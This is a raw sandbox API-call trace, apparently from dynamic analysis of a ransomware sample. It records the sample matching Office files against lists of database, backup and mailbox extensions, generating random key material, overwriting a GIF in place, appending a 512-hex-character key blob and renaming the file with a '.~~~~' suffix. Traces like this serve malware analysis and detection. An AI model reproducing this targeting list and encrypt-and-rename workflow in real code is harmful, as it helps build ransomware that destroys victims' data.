	[0143.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".accdb") returned 0x0
	[0143.578] lstrlenW (lpString=".DBX") returned 4
	[0143.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".DBX") returned 0x0
	[0143.578] lstrlenW (lpString=".MDT") returned 4
	[0143.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".MDT") returned 0x0
	[0143.578] lstrlenW (lpString=".SQB") returned 4
	[0143.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".SQB") returned 0x0
	[0143.578] lstrlenW (lpString=".vhd") returned 4
	[0143.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".vhd") returned 0x0
	[0143.578] lstrlenW (lpString=".bac") returned 4
	[0143.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".bac") returned 0x0
	[0143.578] lstrlenW (lpString=".mdf") returned 4
	[0143.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".mdf") returned 0x0
	[0143.578] lstrlenW (lpString=".BAK") returned 4
	[0143.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".BAK") returned 0x0
	[0143.578] lstrlenW (lpString=".BAC") returned 4
	[0143.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".BAC") returned 0x0
	[0143.578] lstrlenW (lpString=".dbs") returned 4
	[0143.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".dbs") returned 0x0
	[0143.579] lstrlenW (lpString=".vhdx") returned 5
	[0143.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".vhdx") returned 0x0
	[0143.579] lstrlenW (lpString=".NDF") returned 4
	[0143.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".NDF") returned 0x0
	[0143.579] lstrlenW (lpString=".dat") returned 4
	[0143.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".dat") returned 0x0
	[0143.579] lstrlenW (lpString=".DBS") returned 4
	[0143.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".DBS") returned 0x0
	[0143.579] lstrlenW (lpString=".CKP") returned 4
	[0143.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".CKP") returned 0x0
	[0143.579] lstrlenW (lpString=".edb") returned 4
	[0143.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".edb") returned 0x0
	[0143.579] lstrlenW (lpString=".PST") returned 4
	[0143.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".PST") returned 0x0
	[0143.579] lstrlenW (lpString=".dbf") returned 4
	[0143.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".dbf") returned 0x0
	[0143.579] lstrlenW (lpString=".SQL") returned 4
	[0143.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".SQL") returned 0x0
	[0143.579] lstrlenW (lpString=".pst") returned 4
	[0143.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".pst") returned 0x0
	[0143.579] lstrlenW (lpString=".dbv") returned 4
	[0143.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".dbv") returned 0x0
	[0143.579] lstrlenW (lpString=".SDF") returned 4
	[0143.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".SDF") returned 0x0
	[0143.579] lstrlenW (lpString=".dtxs") returned 5
	[0143.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".dtxs") returned 0x0
	[0143.579] lstrlenW (lpString=".db3") returned 4
	[0143.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".db3") returned 0x0
	[0143.580] lstrlenW (lpString=".OST") returned 4
	[0143.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".OST") returned 0x0
	[0143.580] lstrlenW (lpString=".dbx") returned 4
	[0143.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".dbx") returned 0x0
	[0143.580] lstrlenW (lpString=".DB3") returned 4
	[0143.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".DB3") returned 0x0
	[0143.580] lstrlenW (lpString=".DAT") returned 4
	[0143.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".DAT") returned 0x0
	[0143.580] lstrlenW (lpString=".VHDX") returned 5
	[0143.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".VHDX") returned 0x0
	[0143.580] lstrlenW (lpString=".ndf") returned 4
	[0143.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".ndf") returned 0x0
	[0143.580] lstrlenW (lpString=".DB") returned 3
	[0143.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".DB") returned 0x0
	[0143.580] lstrlenW (lpString=".sql") returned 4
	[0143.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".sql") returned 0x0
	[0143.580] lstrlenW (lpString=".MYD") returned 4
	[0143.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".MYD") returned 0x0
	[0143.580] lstrlenW (lpString=".DBT") returned 4
	[0143.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".DBT") returned 0x0
	[0143.580] lstrlenW (lpString=".ACCDB") returned 6
	[0143.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.580] lstrlenW (lpString=".fdb") returned 4
	[0143.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".fdb") returned 0x0
	[0143.580] lstrlenW (lpString=".bak") returned 4
	[0143.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".bak") returned 0x0
	[0143.580] lstrlenW (lpString=".myd") returned 4
	[0143.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".myd") returned 0x0
	[0143.581] lstrlenW (lpString=".DTXS") returned 5
	[0143.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".DTXS") returned 0x0
	[0143.581] lstrlenW (lpString=".ckp") returned 4
	[0143.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".ckp") returned 0x0
	[0143.581] lstrlenW (lpString=".dbt") returned 4
	[0143.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".dbt") returned 0x0
	[0143.581] lstrlenW (lpString=".db") returned 3
	[0143.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".db") returned 0x0
	[0143.581] lstrlenW (lpString=".TXT") returned 4
	[0143.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".TXT") returned 0x0
	[0143.581] lstrlenW (lpString=".MDF") returned 4
	[0143.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".MDF") returned 0x0
	[0143.581] lstrlenW (lpString=".bdb") returned 4
	[0143.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".bdb") returned 0x0
	[0143.581] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0143.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.581] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0143.582] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.582] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0143.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0143.583] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26357297477) returned 1
	[0143.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbefcca70, dwHighDateTime=0x1d60e1e)) 
	[0143.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0143.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0143.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0143.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809e98
	[0143.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809e98 | out: hHeap=0x300000) returned 1
	[0143.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ab8a0
	[0143.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab8a0 | out: hHeap=0x300000) returned 1
	[0143.584] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0143.584] GetLastError () returned 0x0
	[0143.584] GetLastError () returned 0x0
	[0143.584] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0143.584] GetLastError () returned 0x0
	[0143.584] GetLastError () returned 0x0
	[0143.585] ReadFile (in: hFile=0x104, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x117f, lpOverlapped=0x0) returned 1
	[0143.629] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffee81, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.629] WriteFile (in: hFile=0x104, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x117f, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x117f, lpOverlapped=0x0) returned 1
	[0143.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0143.630] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.630] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.630] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.630] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.630] CloseHandle (hObject=0x104) returned 1
	[0143.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab9f0
	[0143.666] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50f.gif.~~~~")) returned 1
	[0143.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab9f0 | out: hHeap=0x300000) returned 1
	[0143.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0143.671] GetLastError () returned 0x0
	[0143.671] RtlWakeConditionVariable () returned 0x0
	[0143.671] GetCurrentThreadId () returned 0x9cc
	[0143.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".scr") returned 0x0
	[0143.671] lstrlenW (lpString=".cmd") returned 4
	[0143.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".cmd") returned 0x0
	[0143.671] lstrlenW (lpString=".dll") returned 4
	[0143.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".dll") returned 0x0
	[0143.671] lstrlenW (lpString=".bat") returned 4
	[0143.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".bat") returned 0x0
	[0143.672] lstrlenW (lpString=".cpl") returned 4
	[0143.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".cpl") returned 0x0
	[0143.672] lstrlenW (lpString=".sys") returned 4
	[0143.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".sys") returned 0x0
	[0143.672] lstrlenW (lpString=".msc") returned 4
	[0143.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".msc") returned 0x0
	[0143.672] lstrlenW (lpString=".com") returned 4
	[0143.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".com") returned 0x0
	[0143.672] lstrlenW (lpString=".lnk") returned 4
	[0143.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".lnk") returned 0x0
	[0143.672] lstrlenW (lpString=".msp") returned 4
	[0143.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".msp") returned 0x0
	[0143.672] lstrlenW (lpString=".pif") returned 4
	[0143.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".pif") returned 0x0
	[0143.672] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0143.862] lstrlenW (lpString=".sqb") returned 4
	[0143.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".sqb") returned 0x0
	[0143.862] lstrlenW (lpString=".ost") returned 4
	[0143.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".ost") returned 0x0
	[0143.862] lstrlenW (lpString=".txt") returned 4
	[0143.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".txt") returned 0x0
	[0143.863] lstrlenW (lpString=".mdt") returned 4
	[0143.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".mdt") returned 0x0
	[0143.863] lstrlenW (lpString=".BDB") returned 4
	[0143.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".BDB") returned 0x0
	[0143.863] lstrlenW (lpString=".eql") returned 4
	[0143.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".eql") returned 0x0
	[0143.863] lstrlenW (lpString=".DBF") returned 4
	[0143.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".DBF") returned 0x0
	[0143.863] lstrlenW (lpString=".EQL") returned 4
	[0143.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".EQL") returned 0x0
	[0143.863] lstrlenW (lpString=".FDB") returned 4
	[0143.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".FDB") returned 0x0
	[0143.864] lstrlenW (lpString=".EDB") returned 4
	[0143.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".EDB") returned 0x0
	[0143.864] lstrlenW (lpString=".DACPAC") returned 7
	[0143.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.864] lstrlenW (lpString=".VHD") returned 4
	[0143.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".VHD") returned 0x0
	[0143.864] lstrlenW (lpString=".DBV") returned 4
	[0143.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".DBV") returned 0x0
	[0143.864] lstrlenW (lpString=".dacpac") returned 7
	[0143.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".dacpac") returned 0x0
	[0143.864] lstrlenW (lpString=".sdf") returned 4
	[0143.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".sdf") returned 0x0
	[0143.864] lstrlenW (lpString=".accdb") returned 6
	[0143.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".accdb") returned 0x0
	[0143.864] lstrlenW (lpString=".DBX") returned 4
	[0143.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".DBX") returned 0x0
	[0143.864] lstrlenW (lpString=".MDT") returned 4
	[0143.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".MDT") returned 0x0
	[0143.864] lstrlenW (lpString=".SQB") returned 4
	[0143.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".SQB") returned 0x0
	[0143.864] lstrlenW (lpString=".vhd") returned 4
	[0143.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".vhd") returned 0x0
	[0143.864] lstrlenW (lpString=".bac") returned 4
	[0143.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".bac") returned 0x0
	[0143.864] lstrlenW (lpString=".mdf") returned 4
	[0143.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".mdf") returned 0x0
	[0143.865] lstrlenW (lpString=".BAK") returned 4
	[0143.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".BAK") returned 0x0
	[0143.865] lstrlenW (lpString=".BAC") returned 4
	[0143.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".BAC") returned 0x0
	[0143.865] lstrlenW (lpString=".dbs") returned 4
	[0143.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".dbs") returned 0x0
	[0143.865] lstrlenW (lpString=".vhdx") returned 5
	[0143.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".vhdx") returned 0x0
	[0143.865] lstrlenW (lpString=".NDF") returned 4
	[0143.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".NDF") returned 0x0
	[0143.865] lstrlenW (lpString=".dat") returned 4
	[0143.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".dat") returned 0x0
	[0143.865] lstrlenW (lpString=".DBS") returned 4
	[0143.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".DBS") returned 0x0
	[0143.865] lstrlenW (lpString=".CKP") returned 4
	[0143.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".CKP") returned 0x0
	[0143.865] lstrlenW (lpString=".edb") returned 4
	[0143.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".edb") returned 0x0
	[0143.865] lstrlenW (lpString=".PST") returned 4
	[0143.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".PST") returned 0x0
	[0143.865] lstrlenW (lpString=".dbf") returned 4
	[0143.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".dbf") returned 0x0
	[0143.865] lstrlenW (lpString=".SQL") returned 4
	[0143.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".SQL") returned 0x0
